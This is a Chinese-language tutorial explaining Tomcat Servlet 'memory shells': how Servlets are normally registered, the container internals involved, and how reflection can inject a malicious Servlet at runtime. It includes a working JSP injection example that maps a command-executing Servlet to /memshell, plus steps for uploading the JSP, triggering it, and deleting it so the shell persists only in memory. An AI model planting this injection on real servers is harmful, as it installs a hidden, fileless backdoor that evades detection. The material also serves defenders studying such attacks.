1. 基本概念
Servlet 内存马 是通过 运行时动态注册 Servlet 的方式,将恶意 Servlet 植入 Web 容器中。
特点:
-
无文件落地:不依赖磁盘上的 class 文件或 web.xml 配置
-
驻留内存:直至容器重启前一直存在
-
隐蔽性高:通过 URL 请求即可触发,常规查杀不易发现
常见利用场景:攻击者上传一个 JSP 文件,通过反射操作 Tomcat 内部对象,在运行时注入恶意 Servlet。
2. Servlet 装载流程(开发者视角)
要理解内存马,首先需要知道 正常情况下 Servlet 是如何被加载的。
2.1 编写 Servlet 类
public class HelloServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("hello world");
}
}
2.2 在 web.xml 中配置
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.memshell.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
2.3 Tomcat 加载
-
启动时,Tomcat 解析
web.xml
-
加载
HelloServlet
类 -
建立 URL
/hello
与该 Servlet 的映射
3. Tomcat Servlet 加载流程(容器内部机制)
深入 Tomcat 源码,可以看到 Servlet 装载的具体过程。
3.1 Web 应用启动
-
每个 Web 应用对应一个
StandardContext
容器 -
Tomcat 调用
ContextConfig#configureStart()
,加载并解析web.xml
3.2 解析 web.xml
-
ContextConfig#configureContext(WebXml webxml)
方法处理配置 -
webxml 内部结构
-
webxml.servlets
:保存<servlet>
定义 -
webxml.servletMappings
:保存<servlet-mapping>
映射关系
-
3.3 注册 Servlet 定义
for (WebXml.Servlet servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
wrapper.setName(servlet.getName());
wrapper.setServletClass(servlet.getClassName());
context.addChild(wrapper);
}
-
createWrapper()
→ 创建StandardWrapper
(Servlet 包装类) -
addChild(wrapper)
→ 将 Servlet 注册到StandardContext
👉 此时,Servlet 已被加入容器,但尚未建立 URL 映射。
3.4 注册 URL 映射
for (Map.Entry<String, String> entry : webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
-
entry.getKey()
→ URL pattern,例如/hello
-
entry.getValue()
→ Servlet 名称,例如HelloServlet
-
存入
StandardContext.servletMappings
3.5 请求处理流程
当客户端请求 /hello
:
-
Mapper
组件根据 URL 找到对应的Wrapper
-
Wrapper.allocate()
创建或复用 Servlet 实例 -
调用
service()
方法 → 分发到doGet()
/doPost()
-
返回响应给客户端
3.6 关键类总结
-
StandardContext:Web 应用容器,管理所有 Servlet/Filter/Listener
-
StandardWrapper:Servlet 包装类,负责生命周期管理(init/service/destroy)
-
Mapper:负责 URL 匹配和请求分发
-
ContextConfig:负责解析
web.xml
并注册到容器
3.7 内存马切入点
-
正常流程:由
web.xml
驱动 -
内存马流程:跳过配置文件,直接在运行时操作
StandardContext
-
核心调用:
-
addChild(wrapper)
→ 注入恶意 Servlet -
addServletMappingDecoded(url, name)
→ 建立恶意 URL 映射
-
4. 内存马实现机制
内存马的实现步骤:
-
创建恶意 Servlet 类(执行命令/回显等)
-
获取 StandardContext
-
通过
request.getServletContext()
→ 反射逐层获取内部StandardContext
-
-
创建 Wrapper 并封装 Servlet
-
将 Wrapper 注册到容器(
addChild(wrapper)
) -
设置 URL 映射(
addServletMappingDecoded()
)
5. 示例代码(JSP 内存马)
<%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! // 恶意 Servlet 定义 public class ShellServlet extends HttpServlet { @Override public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { Runtime.getRuntime().exec("calc"); // 示例:执行系统命令 } } %> <% // 1. 获取 ServletContext ServletContext servletContext = request.getServletContext(); // 2. 反射获取 ApplicationContext Field appCtxField = servletContext.getClass().getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext); // 3. 获取 StandardContext Field stdCtxField = appCtx.getClass().getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx); // 4. 创建 Wrapper Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("memshell"); wrapper.setServletClass(ShellServlet.class.getName()); wrapper.setServlet(new ShellServlet()); // 5. 注册 Servlet 与映射 standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/memshell", "memshell"); %>
6. 触发步骤
-
上传 JSP 木马到目标服务器
-
访问 JSP → 执行注入逻辑
-
访问
/memshell
→ 触发恶意 Servlet -
(可选)删除 JSP 文件,内存马依然存活
7. 总结
-
开发者视角:编写 Servlet → 配置 web.xml → Tomcat 自动加载
-
容器内部视角:ContextConfig 解析 web.xml → 创建 Wrapper → 注册到 StandardContext → 建立 URL 映射
-
内存马本质:在运行时动态完成这一套流程,不依赖文件,直接在内存中注册恶意 Servlet
-
关键 API:
addChild()
、